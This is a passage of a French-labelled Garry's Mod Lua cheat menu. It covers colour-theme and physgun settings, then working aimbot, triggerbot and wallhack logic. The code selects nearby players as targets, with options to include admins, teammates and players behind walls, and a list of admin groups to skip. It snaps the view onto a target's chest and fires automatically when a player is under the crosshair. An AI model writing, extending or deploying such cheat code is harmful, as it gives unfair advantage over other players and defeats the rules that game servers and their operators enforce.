3353OptionsColorGreenMENU:SetSize( 20, 20 )
3354OptionsColorGreenMENU:SetText( " " )
3355OptionsColorGreenMENU.Paint = function( self, w, h )
3356if self:IsHovered() then
3357draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
3358surface.SetDrawColor(255, 255, 255 ,100)
3359surface.DrawOutlinedRect(0, 0, w, h)
3360else
3361draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
3362surface.SetDrawColor(255, 255, 255 ,100)
3363surface.DrawOutlinedRect(0, 0, w, h)
3364end
3365OptionsColorGreenMENU.DoClick = function()
3366LocalPlayer():ConCommand("fiji_menu_princ_color 130")
3367LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3368LocalPlayer():ConCommand("fiji_menu_th_color 132")
3369LocalPlayer():ConCommand("fiji_style_menu 0")
3370surface.PlaySound( fiji_pityhover )
3371
3372end
3373end
3374local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenu )
3375OptionsColorBlueMENU:SetPos( 92,20 )
3376OptionsColorBlueMENU:SetSize( 20, 20 )
3377OptionsColorBlueMENU:SetText( " " )
3378OptionsColorBlueMENU.Paint = function( self, w, h )
3379if self:IsHovered() then
3380draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3381surface.SetDrawColor(255, 255, 255 ,100)
3382surface.DrawOutlinedRect(0, 0, w, h)
3383else
3384draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3385surface.SetDrawColor(255, 255, 255 ,100)
3386surface.DrawOutlinedRect(0, 0, w, h)
3387end
3388OptionsColorBlueMENU.DoClick = function()
3389LocalPlayer():ConCommand("fiji_menu_princ_color 104")
3390LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3391LocalPlayer():ConCommand("fiji_menu_th_color 255")
3392LocalPlayer():ConCommand("fiji_style_menu 0")
3393surface.PlaySound( fiji_pityhover )
3394
3395end
3396end
3397local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenu )
3398OptionsColorPurpleMENU:SetPos( 114,20 )
3399OptionsColorPurpleMENU:SetSize( 20, 20 )
3400OptionsColorPurpleMENU:SetText( " " )
3401OptionsColorPurpleMENU.Paint = function( self, w, h )
3402if self:IsHovered() then
3403draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3404surface.SetDrawColor(255, 255, 255 ,100)
3405surface.DrawOutlinedRect(0, 0, w, h)
3406else
3407draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3408surface.SetDrawColor(255, 255, 255 ,100)
3409surface.DrawOutlinedRect(0, 0, w, h)
3410end
3411OptionsColorPurpleMENU.DoClick = function()
3412LocalPlayer():ConCommand("fiji_menu_princ_color 168")
3413LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3414LocalPlayer():ConCommand("fiji_menu_th_color 255")
3415LocalPlayer():ConCommand("fiji_style_menu 0")
3416surface.PlaySound( fiji_pityhover )
3417
3418end
3419end
3420local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenu )
3421OptionsColorPinkMENU:SetPos( 136,20 )
3422OptionsColorPinkMENU:SetSize( 20, 20 )
3423OptionsColorPinkMENU:SetText( " " )
3424OptionsColorPinkMENU.Paint = function( self, w, h )
3425if self:IsHovered() then
3426draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3427surface.SetDrawColor(255, 255, 255 ,100)
3428surface.DrawOutlinedRect(0, 0, w, h)
3429else
3430draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3431surface.SetDrawColor(255, 255, 255 ,100)
3432surface.DrawOutlinedRect(0, 0, w, h)
3433end
3434OptionsColorPinkMENU.DoClick = function()
3435LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3436LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3437LocalPlayer():ConCommand("fiji_menu_th_color 235")
3438LocalPlayer():ConCommand("fiji_style_menu 0")
3439surface.PlaySound( fiji_pityhover )
3440
3441end
3442end
3443local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenu )
3444OptionsColorBlackMENU:SetPos( 158,20 )
3445OptionsColorBlackMENU:SetSize( 20, 20 )
3446OptionsColorBlackMENU:SetText( " " )
3447OptionsColorBlackMENU.Paint = function( self, w, h )
3448if self:IsHovered() then
3449draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3450surface.SetDrawColor(255, 255, 255 ,100)
3451surface.DrawOutlinedRect(0, 0, w, h)
3452else
3453draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3454surface.SetDrawColor(255, 255, 255 ,100)
3455surface.DrawOutlinedRect(0, 0, w, h)
3456end
3457OptionsColorBlackMENU.DoClick = function()
3458LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3459LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3460LocalPlayer():ConCommand("fiji_menu_th_color 60")
3461LocalPlayer():ConCommand("fiji_style_menu 0")
3462surface.PlaySound( fiji_pityhover )
3463
3464end
3465end
3466local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenu )
3467OptionsColormultiMENU:SetPos( 180,20 )
3468OptionsColormultiMENU:SetSize( 20, 20 )
3469OptionsColormultiMENU:SetText( " " )
3470OptionsColormultiMENU.Paint = function( self, w, h )
3471if self:IsHovered() then
3472draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3473surface.SetDrawColor(255, 255, 255 ,100)
3474surface.DrawOutlinedRect(0, 0, w, h)
3475else
3476draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3477surface.SetDrawColor(255, 255, 255 ,100)
3478surface.DrawOutlinedRect(0, 0, w, h)
3479end
3480OptionsColormultiMENU.DoClick = function()
3481LocalPlayer():ConCommand("fiji_style_menu 1")
3482surface.PlaySound( fiji_pityhover )
3483
3484end
3485end
3486local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenu )
3487OptionsColorhackMENU:SetPos( 202,20 )
3488OptionsColorhackMENU:SetSize( 20, 20 )
3489OptionsColorhackMENU:SetText( " " )
3490OptionsColorhackMENU.Paint = function( self, w, h )
3491if self:IsHovered() then
3492draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3493surface.SetDrawColor(255, 255, 255 ,100)
3494surface.DrawOutlinedRect(0, 0, w, h)
3495else
3496draw.RoundedBox( 0, 0, 0, w, h, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3497surface.SetDrawColor(255, 255, 255 ,100)
3498surface.DrawOutlinedRect(0, 0, w, h)
3499end
3500OptionsColorhackMENU.DoClick = function()
3501LocalPlayer():ConCommand("fiji_style_menu 2")
3502surface.PlaySound( fiji_pityhover )
3503
3504end
3505end
3506
3507local Optionsphysicspeed = vgui.Create( "DButton", pContent)
3508Optionsphysicspeed:SetPos( 303, 348)
3509Optionsphysicspeed:SetSize( 50, 20 )
3510Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3511Optionsphysicspeed:SetText( "Rapide" )
3512Optionsphysicspeed.Paint = function( self, w, h )
3513draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3514if self:IsHovered() then
3515Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3516draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3517else
3518Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 100 ) )
3519draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3520end
3521Optionsphysicspeed.OnCursorEntered = function(self)
3522surface.PlaySound( fiji_pityhover )
3523end
3524Optionsphysicspeed.DoClick = function()
3525LocalPlayer():ConCommand("physgun_wheelspeed 1500")
3526surface.PlaySound( fiji_pityclick )
3527end
3528end
3529
3530local Optionsphysicmedium = vgui.Create( "DButton", pContent)
3531Optionsphysicmedium:SetPos( 243, 348)
3532Optionsphysicmedium:SetSize( 50, 20 )
3533Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3534Optionsphysicmedium:SetText( "Moyen" )
3535Optionsphysicmedium.Paint = function( self, w, h )
3536draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3537if self:IsHovered() then
3538Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3539draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3540else
3541Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 100 ) )
3542draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3543end
3544Optionsphysicmedium.OnCursorEntered = function(self)
3545surface.PlaySound( fiji_pityhover )
3546end
3547Optionsphysicmedium.DoClick = function()
3548LocalPlayer():ConCommand("physgun_wheelspeed 600")
3549surface.PlaySound( fiji_pityclick )
3550end
3551end
3552
3553local Optionsphysiclow = vgui.Create( "DButton", pContent)
3554Optionsphysiclow:SetPos( 180, 348)
3555Optionsphysiclow:SetSize( 50, 20 )
3556Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3557Optionsphysiclow:SetText( "Lent" )
3558Optionsphysiclow.Paint = function( self, w, h )
3559draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3560if self:IsHovered() then
3561Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3562draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3563else
3564Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 100 ) )
3565draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3566end
3567Optionsphysiclow.OnCursorEntered = function(self)
3568surface.PlaySound( fiji_pityhover )
3569end
3570Optionsphysiclow.DoClick = function()
3571LocalPlayer():ConCommand("physgun_wheelspeed 20")
3572surface.PlaySound( fiji_pityclick )
3573end
3574end
3575
3576local OptionsColorDEFAULT = vgui.Create( "DButton", pContent)
3577OptionsColorDEFAULT:SetPos( 243, 83)
3578OptionsColorDEFAULT:SetSize( 50, 20 )
3579OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3580OptionsColorDEFAULT:SetText( "Default" )
3581OptionsColorDEFAULT.Paint = function( self, w, h )
3582draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3583if self:IsHovered() then
3584OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3585draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3586else
3587OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 100 ) )
3588draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3589end
3590OptionsColorDEFAULT.OnCursorEntered = function(self)
3591surface.PlaySound( fiji_pityhover )
3592end
3593OptionsColorDEFAULT.DoClick = function()
3594LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3595LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3596LocalPlayer():ConCommand("fiji_menu_th_color 60")
3597LocalPlayer():ConCommand("fiji_style_menu 3")
3598surface.PlaySound( fiji_pityclick )
3599end
3600end
3601
3602local Resetb = vgui.Create( "DButton", pContent)
3603Resetb:SetPos( 207, 123)
3604Resetb:SetSize( 120, 35 )
3605Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3606Resetb:SetText( "Réinitialiser le menu" )
3607Resetb.Paint = function( self, w, h )
3608draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3609if self:IsHovered() then
3610Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3611draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3612aBorder = Color( 110,110,110, 80 )
3613else
3614Resetb:SetTextColor( Color( 255, 255, 255, 80 ) )
3615draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3616aBorder = Color( 110,110,110, 0 )
3617end
3618surface.SetDrawColor( aBorder )
3619surface.DrawOutlinedRect( 0, 0, w, h )
3620Resetb.OnCursorEntered = function(self)
3621surface.PlaySound( "mat/pityhover.wav" )
3622end
3623Resetb.DoClick = function()
3624NOTIFICATION("Menu réinitialiser avec sucès")
3625surface.PlaySound( fiji_pityclick )
3626LocalPlayer():ConCommand("fiji_menu_princ_color 50")
3627LocalPlayer():ConCommand("fiji_menu_sec_color 50")
3628LocalPlayer():ConCommand("fiji_menu_th_color 50")
3629LocalPlayer():ConCommand("fiji_style_menu 3")
3630LocalPlayer():ConCommand("fiji_principal_color 255")
3631LocalPlayer():ConCommand("fiji_secondary_color 0")
3632LocalPlayer():ConCommand("fiji_third_color 0")
3633LocalPlayer():ConCommand("fiji_principal_color_infos 255")
3634LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
3635LocalPlayer():ConCommand("fiji_third_color_infos 255")
3636LocalPlayer():ConCommand("fiji_principal_color_ent 255")
3637LocalPlayer():ConCommand("fiji_secondary_color_ent 0")
3638LocalPlayer():ConCommand("fiji_third_color_ent 0")
3639LocalPlayer():ConCommand("fiji_principal_color_props 255")
3640LocalPlayer():ConCommand("fiji_secondary_color_props 0")
3641LocalPlayer():ConCommand("fiji_third_color_props 0")
3642LocalPlayer():ConCommand("BD_hitman_enable 1")
3643LocalPlayer():ConCommand("BD_hitman_enable_ent 0")
3644LocalPlayer():ConCommand("BD_hitman_enable_props 0")
3645LocalPlayer():ConCommand("BD_hitman_type 1")
3646LocalPlayer():ConCommand("BD_hitman_infos_name 1")
3647LocalPlayer():ConCommand("BD_hitman_infos_weapons 1")
3648LocalPlayer():ConCommand("BD_hitman_infos_health 1")
3649LocalPlayer():ConCommand("BD_hitman_distance 7000")
3650LocalPlayer():ConCommand("BD_hitman_distance_infos 800")
3651LocalPlayer():ConCommand("BD_hitman_distance_ent 800")
3652LocalPlayer():ConCommand("fiji_aimbot_active 0")
3653LocalPlayer():ConCommand("fiji_aimbot_friends 0")
3654LocalPlayer():ConCommand("fiji_aimbot_team 0")
3655LocalPlayer():ConCommand("fiji_aimbot_admin 0")
3656LocalPlayer():ConCommand("fiji_aimbot_propa 0")
3657LocalPlayer():ConCommand("fiji_aimbot_wall 0")
3658LocalPlayer():ConCommand("fiji_aimbot_fov 180")
3659LocalPlayer():ConCommand("fiji_aimbot_dist 1500")
3660LocalPlayer():ConCommand("fiji_triggerbot_active 0")
3661LocalPlayer():ConCommand("fiji_triggerbot_opti 0")
3662LocalPlayer():ConCommand("fiji_triggerbot_real 0")
3663LocalPlayer():ConCommand("fiji_triggerbot_team 0")
3664LocalPlayer():ConCommand("fiji_triggerbot_wall 0")
3665LocalPlayer():ConCommand("fiji_triggerbot_friends 0")
3666LocalPlayer():ConCommand("fiji_exist_contentpity 1")
3667LocalPlayer():ConCommand("fiji_aimbot_key KEY_W")
3668LocalPlayer():ConCommand("fiji_aimbot_relock 0")
3669LocalPlayer():ConCommand("fiji_aimbot_attack chest")
3670LocalPlayer():ConCommand("fiji_exist_contentpity 1")
3671end
3672
3673
3674
3675end -- enf function options
3676
3677end
3678function BD:Aimbot( pContent )
3679
3680local BDMenuAim = vgui.Create("DPanel", pContent)
3681BDMenuAim:SetSize( 539, 388 )
3682BDMenuAim:SetPos( 0, 0 )
3683BDMenuAim.Paint = function( self, w, h)
3684if fiji_style_menu:GetInt() == 2 then
3685draw.RoundedBox( 0, 0, 0, 2, h - 238, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
3686draw.RoundedBox( 0, 0, 194, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
3687
3688elseif fiji_style_menu:GetInt() == 1 then
3689draw.RoundedBox( 0, 0, 0, 2, h - 238, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
3690draw.RoundedBox( 0, 0, 194, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
3691
3692
3693else
3694draw.RoundedBox( 0, 0, 0, 2, h - 238, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
3695draw.RoundedBox( 0, 0, 194, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
3696end
3697
3698
3699draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3700draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3701draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
3702draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
3703draw.RoundedBox( 0, 294, 10, w - 451, 2, Color( 50,50,50, 255 ) )
3704draw.SimpleText("Aimbot", "pity_home3", 248, 10, Color(100, 100, 100,255), 0, 1)
3705draw.SimpleText("Cibles", "pity_home3", 250, 80, Color(100, 100, 100,255), 0, 1)
3706--draw.SimpleText("Touche Aimbot : B", "pity_home3", 220, 150, Color(100, 100, 100,255), 0, 1)
3707
3708
3709
3710draw.RoundedBox( 200, 382, 205, 2, h - 251, Color( 50,50,50, 255 ) )
3711draw.RoundedBox( 200, 149, 205, 2, h - 251, Color( 50,50,50, 255 ) )
3712draw.RoundedBox( 0, 151, 340, w - 307, 2, Color( 50,50,50, 255 ) )
3713draw.RoundedBox( 0, 151, 205, w - 455, 2, Color( 50,50,50, 255 ) )
3714draw.RoundedBox( 0, 300, 205, w - 456, 2, Color( 50,50,50, 255 ) )
3715draw.SimpleText("Triggerbot", "pity_home3", 239, 205, Color(100, 100, 100,255), 0, 1)
3716draw.SimpleText("Cibles", "pity_home3", 250, 285, Color(100, 100, 100,255), 0, 1)
3717draw.SimpleText("Touche Aimbot", "pity_homemini", 234, 352, Color(100, 100, 100,255), 0, 1)
3718
3719
3720end
3721
3722local aimbinder = vgui.Create( "DBinder", pContent )
3723aimbinder:SetSize( 234, 25 )
3724aimbinder:SetPos( 150,360 )
3725aimbinder:SetConVar( "fiji_aimbot_key" )
3726function aimbinder:Paint( w, h )
3727if self:IsHovered() then
3728draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3729aBorder = Color( 255,110,110, 150 )
3730else
3731draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3732aBorder = Color( 250,110,110, 50 )
3733end
3734aimbinder.OnCursorEntered = function(self)
3735surface.PlaySound( fiji_pityhover )
3736
3737end
3738surface.SetDrawColor( aBorder )
3739surface.DrawOutlinedRect( 0, 0, w, h )
3740
3741
3742end
3743
3744
3745local pPAim = vgui.Create( "DPanel", pContent )
3746pPAim:SetSize( 110, 35 )
3747pPAim:SetPos( 154, 135 )
3748function pPAim:Paint( w, h )
3749draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3750draw.SimpleText( "♦", "pity_home5", 14, h / 2 + 7, color_white, 0, 1 )
3751draw.SimpleText( "DISTANCE CIBLES", "pity_home5", 10, 8, color_white, 0, 1 )
3752
3753end
3754local pDistanceAIM = vgui.Create( "DNumSlider", pContent )
3755pDistanceAIM:SetPos( 107, 135 )
3756pDistanceAIM:SetSize( 180, 50 )
3757pDistanceAIM:SetText( "" )
3758pDistanceAIM:SetMin( 100 )
3759pDistanceAIM:SetMax( 3000 )
3760pDistanceAIM:SetDecimals( 0 )
3761pDistanceAIM:SetValue( fiji_aimbot_dist:GetInt() or 200 )
3762pDistanceAIM.Scratch:SetVisible( false )
3763pDistanceAIM.TextArea:SetTextColor( color_white )
3764function pDistanceAIM:OnValueChanged( val )
3765RunConsoleCommand( 'fiji_aimbot_dist', tonumber( self:GetValue() ) )
3766end
3767function pDistanceAIM.Slider:Paint(w, h)
3768surface.SetDrawColor(0, 0, 0, 255)
3769surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
3770if fiji_style_menu:GetInt() == 2 then
3771surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3772surface.DrawRect(0, 21, barw, h / 5)
3773
3774elseif fiji_style_menu:GetInt() == 1 then
3775surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3776surface.DrawRect(0, 21, barw, h / 5)
3777
3778else
3779surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
3780surface.DrawRect(0, 21, barw, h / 5)
3781end
3782end
3783function pDistanceAIM:SetHeight(tall)
3784self.Slider.Knob:SetHeight(tall / 2 + 4)
3785DSlider.SetHeight(self, tall)
3786pDistanceAIM.SetTall = pDistanceAIM.SetHeight
3787pDistanceAIM.Slider.Knob:SetTall(5)
3788end
3789function pDistanceAIM.Slider.Knob:Paint(w, h)
3790derma.SkinHook( "Paint", "Button", self, 0, 0 )
3791end
3792
3793
3794local pPAim2 = vgui.Create( "DPanel", pContent )
3795pPAim2:SetSize( 110, 35 )
3796pPAim2:SetPos( 269, 135 )
3797function pPAim2:Paint( w, h )
3798draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3799draw.SimpleText( "♦", "pity_home5", 14, h / 2 + 7, color_white, 0, 1 )
3800draw.SimpleText( "CHAMP DE VISION", "pity_home5", 10, 8, color_white, 0, 1 )
3801
3802end
3803local pDistanceAIMb = vgui.Create( "DNumSlider", pContent )
3804pDistanceAIMb:SetPos( 220, 135 )
3805pDistanceAIMb:SetSize( 180, 50 )
3806pDistanceAIMb:SetText( "" )
3807pDistanceAIMb:SetMin( 5 )
3808pDistanceAIMb:SetMax( 180 )
3809pDistanceAIMb:SetDecimals( 0 )
3810pDistanceAIMb:SetValue( fiji_aimbot_fov:GetInt() or 200 )
3811pDistanceAIMb.Scratch:SetVisible( false )
3812pDistanceAIMb.TextArea:SetTextColor( color_white )
3813function pDistanceAIMb:OnValueChanged( val )
3814RunConsoleCommand( 'fiji_aimbot_fov', tonumber( self:GetValue() ) )
3815end
3816function pDistanceAIMb.Slider:Paint(w, h)
3817surface.SetDrawColor(0, 0, 0, 255)
3818surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
3819if fiji_style_menu:GetInt() == 2 then
3820surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3821surface.DrawRect(0, 21, barw, h / 5)
3822
3823elseif fiji_style_menu:GetInt() == 1 then
3824surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3825surface.DrawRect(0, 21, barw, h / 5)
3826
3827else
3828surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
3829surface.DrawRect(0, 21, barw, h / 5)
3830end
3831end
3832function pDistanceAIMb:SetHeight(tall)
3833self.Slider.Knob:SetHeight(tall / 2 + 4)
3834DSlider.SetHeight(self, tall)
3835pDistanceAIMb.SetTall = pDistanceAIMb.SetHeight
3836pDistanceAIMb.Slider.Knob:SetTall(5)
3837end
3838function pDistanceAIMb.Slider.Knob:Paint(w, h)
3839derma.SkinHook( "Paint", "Button", self, 0, 0 )
3840end
3841
3842local tblAdminGroups = {
3843["superadmin"] = true,
3844["admin"] = true,
3845["administrator"] = true,
3846["administrateur"] = true,
3847["moderateur"] = true,
3848["modérateur"] = true,
3849["moderateur test"] = true,
3850["moderateur-test"] = true,
3851["modérateur test"] = true,
3852["modérateur-test"] = true
3853}
3854
3855
3856local pTarget
3857
3858function findNearestPlayer()
3859local intDist = math.huge
3860pTarget = pTarget or nil
3861local angNew = LocalPlayer():GetAngles()
3862for k, v in pairs( player.GetAll() ) do
3863-- Cannot self-aim
3864if v == LocalPlayer() then continue end
3865-- Die
3866if not v:Alive() then continue end
3867-- God
3868if v:HasGodMode() then continue end
3869-- Same Team
3870if fiji_aimbot_team:GetInt() == 0 && v:Team() == LocalPlayer():Team() then continue end
3871-- Aim Admins
3872if fiji_aimbot_admin:GetInt() == 0 && tblAdminGroups[v:GetUserGroup()] then continue end
3873-- Max dist
3874if v:GetPos():DistToSqr( LocalPlayer():GetPos() ) > fiji_aimbot_dist:GetInt() ^ 2 then continue end
3875-- Steam Friend
3876if fiji_aimbot_friends:GetInt() == 0 && v:GetFriendStatus() == "friend" then continue end
3877
3878-- Check Nearest
3879local newdist = LocalPlayer():GetPos():DistToSqr( v:GetPos() )
3880if newdist < intDist then
3881
3882-- Aim World
3883if fiji_aimbot_wall:GetInt() == 0 then
3884local tr = util.TraceHull( {
3885start = LocalPlayer():EyePos(),
3886endpos = v:EyePos(),
3887maxs = math.huge,
3888mins = 10,
3889filter = v
3890} )
3891if tr.Hit then continue end
3892end
3893-- if fiji_aimbot_wall:GetInt() == 0 && tr.Hit then continue end
3894
3895local eyes = v:LookupAttachment( fiji_aimbot_attack:GetString() )
3896eyes = ( eyes && v:GetAttachment( eyes ).Pos || v:LocalToWorld( v:OBBCenter() ) )
3897
3898local intDiff = math.AngleDifference( ( eyes - LocalPlayer():EyePos() ):Angle().yaw, LocalPlayer():GetAngles().yaw )
3899intDiff = math.abs( intDiff )
3900
3901if intDiff > fiji_aimbot_fov:GetInt() then continue end
3902
3903
3904-- Define New
3905pTarget = v
3906intDist = newdist
3907end
3908end
3909
3910return pTarget or nil
3911end
3912
3913hook.Add( "PlayerButtonDown", "CPaCoolHack:PlayerButtonDown", function( pPlayer, button )
3914if gui.IsGameUIVisible() then return end
3915if fiji_aimbot_active:GetInt() != 1 then return end
3916if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
3917
3918pTarget = findNearestPlayer()
3919end)
3920
3921hook.Add( "PlayerButtonUp", "CPaCoolHack:PlayerButtonUp", function( pPlayer, button )
3922if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
3923
3924pTarget = nil
3925end)
3926
3927hook.Add( "Think", "dkzaodjzaodjza", function()
3928if gui.IsGameUIVisible() then return end
3929if fiji_aimbot_active:GetInt() != 1 then return end
3930if not input.IsKeyDown( GetConVarNumber( "fiji_aimbot_key" ) ) then return end
3931
3932-- Nobody Found
3933if not pTarget || pTarget == nil then return end
3934if not IsValid( pTarget ) || not pTarget:IsPlayer() || not pTarget:Alive() then
3935if fiji_aimbot_relock:GetInt() == 1 then
3936pTarget = findNearestPlayer()
3937else
3938pTarget = nil
3939end
3940return
3941end
3942
3943-- Define New
3944local eyes = pTarget:LookupAttachment( "chest" ) -- "chest" = corps si tu veux
3945eyes = ( eyes && pTarget:GetAttachment( eyes ).Pos || pTarget:LocalToWorld( pTarget:OBBCenter() ) )
3946angNew = ( eyes - LocalPlayer():EyePos() ):Angle()
3947-- Aim
3948LocalPlayer():SetEyeAngles( angNew )
3949end)
3950
3951local tblConVarsOptions = {
3952{ title = "Activé", cv = "aimbot_enabled" },
3953{ title = "Travers Mur", cv = "aimbot_wall" },
3954{ title = "Amis Steam", cv = "aimbot_friends" },
3955{ title = "Même team", cv = "aimbot_team" },
3956{ title = "Administrateurs", cv = "aimbot_admins" },
3957}
3958
3959local ply = LocalPlayer()
3960
3961hook.Add( "Think", "Triggerbot", function()
3962local EntTrace = ply:GetEyeTrace().Entity
3963for k,v in pairs (player.GetAll()) do
3964if fiji_triggerbot_active:GetInt() == 1 and ply:Alive() and ply:GetActiveWeapon():IsValid() and ( EntTrace:IsPlayer() ) then
3965if fiji_triggerbot_friends:GetInt() == 0 and EntTrace:IsPlayer() and EntTrace:GetFriendStatus() == "friend" then return end
3966if fiji_triggerbot_team:GetInt() == 0 and EntTrace:IsPlayer() and EntTrace:Team() == ply:Team() then return end
3967if fiji_triggerbot_wall:GetInt() == 0 and tblAdminGroups[v:GetUserGroup()] then continue else end
3968local pos = LocalPlayer():GetShootPos()
3969local ang = LocalPlayer():GetAimVector()
3970local tracedata = {}
3971local td = {start = v:GetShootPos(), endpos = v:GetShootPos() + v:EyeAngles():Forward() * 65535, filter = v, mask = MASK_SHOT}
3972local tr = util.TraceLine(td)
3973tracedata.start = pos
3974tracedata.endpos = pos+(ang*9999999999999)
3975local trace = util.TraceLine(tracedata)
3976if(trace.HitNonWorld) then
3977if tr.Entity:IsPlayer() then
3978RunConsoleCommand("+attack")
3979timer.Simple(0.000000001, function() RunConsoleCommand("-attack") end)
3980end
3981end
3982end
3983end
3984end)
3985
3986
3987
3988
3989
3990
3991
3992local btnaimbotact = BD:CreateBtn( "Activé", 165, 30, 65, 25, pContent )
3993function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_active:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_active", 0 ) else RunConsoleCommand( "fiji_aimbot_active", 1 ) end end
3994function btnaimbotact:Think() if fiji_aimbot_active:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3995
3996local btnaimbotact = BD:CreateBtn( "Wallhack", 235, 30, 65, 25, pContent )
3997function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_wall:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_wall", 0 ) else RunConsoleCommand( "fiji_aimbot_wall", 1 ) end end
3998function btnaimbotact:Think() if fiji_aimbot_wall:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3999
4000local btnaimbotact = BD:CreateBtn( "Cible Suiv.", 305, 30, 65, 25, pContent )
4001function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_relock:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_relock", 0 ) else RunConsoleCommand( "fiji_aimbot_relock", 1 ) end end
